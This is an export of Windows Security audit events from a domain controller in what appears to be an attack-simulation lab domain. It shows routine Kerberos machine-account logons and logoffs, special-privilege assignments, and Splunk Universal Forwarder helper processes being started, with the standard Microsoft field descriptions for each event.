EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256852
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46FE76

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:51:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256851
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x46FE76
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59124

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:51:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256850
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46FE76

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256858
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47018E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x47018E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59128

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256856
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x47018E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256855
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x470122

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256854
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x470122
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59127

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256853
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x470122

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256859
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256860
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256861
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256875
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471816

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256874
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471926

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256873
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471970

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4719F2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59134

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256871
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4719F2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256870
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x471970
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59133

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256869
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471970

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256868
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x471926
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256867
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471926

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256866
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x471816
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59132

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256865
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x471816

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256864
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4717E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59131

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256863
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4717E7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256862
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

